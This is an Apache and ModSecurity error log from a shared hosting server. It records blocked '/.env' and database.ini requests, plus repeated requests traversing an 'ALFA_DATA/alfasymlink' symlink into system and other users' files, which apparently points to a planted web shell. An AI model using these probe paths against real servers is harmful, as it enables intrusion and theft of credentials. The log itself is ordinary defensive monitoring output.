[Mon Oct 26 09:35:56.459254 2026] [security2:error] [pid 3039832:tid 3039832] [client 130.12.180.176:64016] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9XPOCMgRXzP74NO6wL0gAAAAU"]
[Mon Oct 26 09:35:56.459522 2026] [security2:error] [pid 3039832:tid 3039832] [client 130.12.180.176:64016] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9XPOCMgRXzP74NO6wL0gAAAAU"]
[Mon Oct 26 09:35:56.459871 2026] [security2:error] [pid 3039832:tid 3039832] [client 130.12.180.176:64016] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9XPOCMgRXzP74NO6wL0gAAAAU"]
[Mon Oct 26 09:35:59.901070 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 34.197.28.78:35571] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:36:03.827241 2026] [ssl:error] [pid 3039958:tid 3039958] (70014)End of file found: [client 54.204.62.163:45889] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:36:07.824196 2026] [ssl:error] [pid 3040051:tid 3040051] (70014)End of file found: [client 54.210.152.179:43547] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:36:11.967976 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 54.235.158.162:37653] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:36:23.768895 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 54.84.102.81:28221] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/driver/unbind
[Mon Oct 26 09:36:55.839503 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 52.205.222.214:40765] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:36:59.952878 2026] [core:error] [pid 3040031:tid 3040031] (13)Permission denied: [client 54.85.109.140:24655] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/ata_piix/new_id
[Mon Oct 26 09:37:03.902899 2026] [ssl:error] [pid 3040051:tid 3040051] (70014)End of file found: [client 107.20.255.194:43574] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:37:07.692196 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 3.229.2.217:25805] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:37:11.695338 2026] [core:error] [pid 3036181:tid 3036181] (13)Permission denied: [client 52.0.105.244:40995] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/subsystem/devices/memory4/node0/compact
[Mon Oct 26 09:37:16.112395 2026] [ssl:error] [pid 3040050:tid 3040050] (70014)End of file found: [client 98.83.226.125:34646] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:37:23.739859 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 184.73.195.18:24495] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:37:35.816347 2026] [core:error] [pid 3039832:tid 3039832] (13)Permission denied: [client 3.232.39.98:42149] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/node0/cpu0/driver/cpu1/crash_notes_size
[Mon Oct 26 09:37:39.728983 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 3.213.106.226:42816] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:37:44.325230 2026] [core:error] [pid 3036181:tid 3036181] (13)Permission denied: [client 85.208.96.210:14786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/cpu_partial
[Mon Oct 26 09:37:47.711610 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 18.213.240.226:59078] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:37:51.890752 2026] [ssl:error] [pid 3039886:tid 3039886] (70014)End of file found: [client 52.6.232.201:33511] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:37:55.790362 2026] [core:error] [pid 3040049:tid 3040049] (13)Permission denied: [client 52.70.209.13:38335] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup9/device/usb1/driver/uevent
[Mon Oct 26 09:38:07.805257 2026] [core:error] [pid 3039833:tid 3039833] (13)Permission denied: [client 34.196.237.236:45096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:04.0/resource4_wc
[Mon Oct 26 09:38:15.760562 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 44.205.180.155:59043] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:38:24.363127 2026] [ssl:error] [pid 3039958:tid 3039958] (70014)End of file found: [client 54.210.155.69:62028] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:38:51.742282 2026] [ssl:error] [pid 3039887:tid 3039887] (95)Operation not supported: [client 54.84.93.8:15820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:38:55.742792 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 23.23.180.225:44628] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:38:59.697721 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 184.73.195.18:4739] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:39:08.120874 2026] [ssl:error] [pid 3038684:tid 3038684] (70014)End of file found: [client 54.84.93.8:46563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:39:12.097634 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 54.210.155.69:33010] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:39:15.895433 2026] [ssl:error] [pid 3040034:tid 3040034] (70014)End of file found: [client 23.21.250.48:58012] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:39:16.024526 2026] [security2:error] [pid 3032274:tid 3032274] [client 216.244.66.250:57036] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/chromium-bidi/lib/cjs/protocol-parser/"] [unique_id "at9YAymtoTVUWKg0WJJg-AAAABI"]
[Mon Oct 26 09:39:16.024570 2026] [security2:error] [pid 3032274:tid 3032274] [client 216.244.66.250:57036] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/chromium-bidi/lib/cjs/protocol-parser/"] [unique_id "at9YAymtoTVUWKg0WJJg-AAAABI"]
[Mon Oct 26 09:39:19.761334 2026] [ssl:error] [pid 3039958:tid 3039958] (70014)End of file found: [client 52.7.13.143:1931] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:40:00.149017 2026] [ssl:error] [pid 3040049:tid 3040049] (70014)End of file found: [client 3.81.253.213:26374] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:40:04.615429 2026] [ssl:error] [pid 3040050:tid 3040050] (70014)End of file found: [client 34.206.212.24:52068] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:40:07.829080 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 44.223.193.255:12091] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:40:11.917701 2026] [ssl:error] [pid 3040034:tid 3040034] (70014)End of file found: [client 18.213.102.186:34102] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:40:20.609126 2026] [core:error] [pid 3040050:tid 3040050] (13)Permission denied: [client 52.2.58.41:55337] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/slab_size
[Mon Oct 26 09:40:27.740078 2026] [ssl:error] [pid 3040034:tid 3040034] (70014)End of file found: [client 54.84.147.79:33962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:40:31.656059 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 3.220.70.171:14639] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:40:35.738802 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 34.233.219.155:58029] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:40:39.936160 2026] [ssl:error] [pid 3040034:tid 3040034] (70014)End of file found: [client 34.206.193.60:53123] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:40:43.572793 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 44.212.106.171:55488] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:40:52.140037 2026] [ssl:error] [pid 3038684:tid 3038684] (70014)End of file found: [client 54.235.191.179:59565] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:40:59.430080 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 44.213.36.21:34308] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:41:03.327467 2026] [core:error] [pid 3038684:tid 3038684] (13)Permission denied: [client 23.23.99.55:4501] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/remove
[Mon Oct 26 09:41:08.884190 2026] [security2:error] [pid 3036181:tid 3036181] [client 54.89.140.197:34970] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "at9YdEW6-b5XD8XwGa-17QAAAAQ"]
[Mon Oct 26 09:41:08.884230 2026] [security2:error] [pid 3036181:tid 3036181] [client 54.89.140.197:34970] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "at9YdEW6-b5XD8XwGa-17QAAAAQ"]
[Mon Oct 26 09:41:36.206167 2026] [ssl:error] [pid 3038684:tid 3038684] (70014)End of file found: [client 3.229.164.203:50815] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:41:59.185461 2026] [ssl:error] [pid 3038684:tid 3038684] (70014)End of file found: [client 18.215.77.19:11340] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:42:07.087527 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 23.22.105.143:46481] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:42:08.374132 2026] [security2:error] [pid 3040034:tid 3040034] [client 85.208.96.199:35682] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/bases1/info.php"] [unique_id "at9YsLcZuT5gdeNd6aUJuwAAAAs"]
[Mon Oct 26 09:42:08.374176 2026] [security2:error] [pid 3040034:tid 3040034] [client 85.208.96.199:35682] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/bases1/info.php"] [unique_id "at9YsLcZuT5gdeNd6aUJuwAAAAs"]
[Mon Oct 26 09:42:15.101780 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 50.19.221.48:21723] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:42:26.914591 2026] [ssl:error] [pid 3039958:tid 3039958] (70014)End of file found: [client 52.203.152.231:32835] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:42:28.048387 2026] [security2:error] [pid 3034827:tid 3034827] [client 107.172.76.131:54178] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9YttdWtrCZuT8sbNQ5IQAAACU"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 09:42:28.048443 2026] [security2:error] [pid 3034827:tid 3034827] [client 107.172.76.131:54178] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9YttdWtrCZuT8sbNQ5IQAAACU"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 09:42:30.881400 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 18.211.148.239:43131] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:42:45.880290 2026] [core:error] [pid 3039832:tid 3039832] (13)Permission denied: [client 185.191.171.5:58690] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid/remote_node_defrag_ratio
[Mon Oct 26 09:42:48.744023 2026] [security2:error] [pid 3040034:tid 3040034] [client 130.12.180.165:18192] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9Y2LcZuT5gdeNd6aUJvQAAAAs"]
[Mon Oct 26 09:42:48.744308 2026] [security2:error] [pid 3040034:tid 3040034] [client 130.12.180.165:18192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9Y2LcZuT5gdeNd6aUJvQAAAAs"]
[Mon Oct 26 09:42:48.744660 2026] [security2:error] [pid 3040034:tid 3040034] [client 130.12.180.165:18192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9Y2LcZuT5gdeNd6aUJvQAAAAs"]
[Mon Oct 26 09:42:50.828319 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 44.193.102.198:9796] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:42:54.833365 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 44.194.134.53:33024] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:43:02.610841 2026] [core:error] [pid 3039958:tid 3039958] (13)Permission denied: [client 54.147.238.89:10511] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory21/subsystem/drivers_probe
[Mon Oct 26 09:43:07.957248 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 44.197.76.210:42882] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:43:12.687818 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 98.84.131.195:41585] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:43:13.934441 2026] [core:error] [pid 3039832:tid 3039832] (13)Permission denied: [client 85.208.96.208:13072] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-192/objects
[Mon Oct 26 09:43:14.625654 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 52.54.95.127:31672] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:43:22.535412 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 34.235.239.240:28510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:43:30.388916 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 54.87.62.248:13430] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:43:49.263143 2026] [authz_core:error] [pid 3039832:tid 3039832] [client 45.198.224.125:45764] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 09:43:49.516256 2026] [core:error] [pid 3040049:tid 3040049] (13)Permission denied: [client 185.191.171.11:58220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_tree_mark/object_size
[Mon Oct 26 09:43:50.346534 2026] [core:error] [pid 3040035:tid 3040035] (13)Permission denied: [client 3.217.82.254:32035] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:00/physical_node/rescan
[Mon Oct 26 09:43:54.356286 2026] [ssl:error] [pid 3040034:tid 3040034] (70014)End of file found: [client 3.230.224.6:43008] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:44:02.191608 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 44.210.204.255:5431] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:44:14.272045 2026] [ssl:error] [pid 3040034:tid 3040034] (70014)End of file found: [client 100.29.128.75:53691] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:44:18.253991 2026] [core:error] [pid 3038684:tid 3038684] (13)Permission denied: [client 35.171.141.42:35937] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/virtio-pci/new_id
[Mon Oct 26 09:44:26.375125 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 3.214.176.44:9815] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:44:39.452616 2026] [security2:error] [pid 3039886:tid 3039886] [client 43.165.198.5:51608] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/beta/bulletok2.php"] [unique_id "at9ZR3AE4PZ2xTB7o1VWewAAAAg"]
[Mon Oct 26 09:44:50.195679 2026] [ssl:error] [pid 3039958:tid 3039958] (70014)End of file found: [client 52.5.242.243:26137] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:44:50.819225 2026] [security2:error] [pid 3038684:tid 3038684] [client 85.208.96.197:36196] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/python3.6/site-packages/dnf/cli/"] [unique_id "at9ZUpf5Li7Pj9xX7mWoaAAAABU"]
[Mon Oct 26 09:44:50.819271 2026] [security2:error] [pid 3038684:tid 3038684] [client 85.208.96.197:36196] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/python3.6/site-packages/dnf/cli/"] [unique_id "at9ZUpf5Li7Pj9xX7mWoaAAAABU"]
[Mon Oct 26 09:44:54.335542 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 54.90.244.132:16018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:45:08.016606 2026] [core:error] [pid 3032274:tid 3032274] (13)Permission denied: [client 85.208.96.199:51420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ebitmap_node/reclaim_account
[Mon Oct 26 09:45:10.175411 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 54.156.55.147:11954] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:02.0/resource1
[Mon Oct 26 09:45:14.161418 2026] [ssl:error] [pid 3038684:tid 3038684] (70014)End of file found: [client 3.227.180.70:59365] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:45:22.341851 2026] [core:error] [pid 3032274:tid 3032274] (13)Permission denied: [client 52.200.58.199:30269] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/subsystem/input3/subsystem/input4/device/driver/unbind
[Mon Oct 26 09:45:26.329962 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 50.16.216.166:37663] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:45:30.183001 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 3.225.45.252:12919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:45:34.301371 2026] [ssl:error] [pid 3040034:tid 3040034] (70014)End of file found: [client 3.226.34.98:46563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:45:46.152484 2026] [core:error] [pid 3039832:tid 3039832] (13)Permission denied: [client 23.21.228.180:26810] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/subsystem/drivers_probe
[Mon Oct 26 09:45:50.208643 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 3.229.164.203:60310] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:45:54.167214 2026] [ssl:error] [pid 3040034:tid 3040034] (70014)End of file found: [client 18.235.81.246:64897] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:46:02.169414 2026] [core:error] [pid 3039832:tid 3039832] (13)Permission denied: [client 35.171.117.160:41274] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/PNP0A03:00/QEMU0002:00/physical_node/driver/unbind
[Mon Oct 26 09:46:06.466991 2026] [ssl:error] [pid 3038684:tid 3038684] (70014)End of file found: [client 54.84.102.81:27629] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:46:30.174687 2026] [core:error] [pid 3041799:tid 3041799] (13)Permission denied: [client 52.3.156.186:54706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu0/firmware_node/physical_node/crash_notes
[Mon Oct 26 09:46:32.104513 2026] [core:error] [pid 3040031:tid 3040031] (13)Permission denied: [client 185.191.171.16:18818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/perf_event/poison
[Mon Oct 26 09:46:37.591063 2026] [security2:error] [pid 3039887:tid 3039887] [client 51.68.234.131:45712] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/omekas/database.ini"] [unique_id "at9ZvT67rV4hhLyl0laAIwAAAAw"]
[Mon Oct 26 09:46:37.591595 2026] [security2:error] [pid 3039887:tid 3039887] [client 51.68.234.131:45712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/omekas/database.ini"] [unique_id "at9ZvT67rV4hhLyl0laAIwAAAAw"]
[Mon Oct 26 09:46:37.592712 2026] [security2:error] [pid 3039887:tid 3039887] [client 51.68.234.131:45712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at9ZvT67rV4hhLyl0laAIwAAAAw"]
[Mon Oct 26 09:46:38.256111 2026] [ssl:error] [pid 3040034:tid 3040034] (70014)End of file found: [client 3.219.81.66:37266] AH02013: coalesce failed to read from data bucket
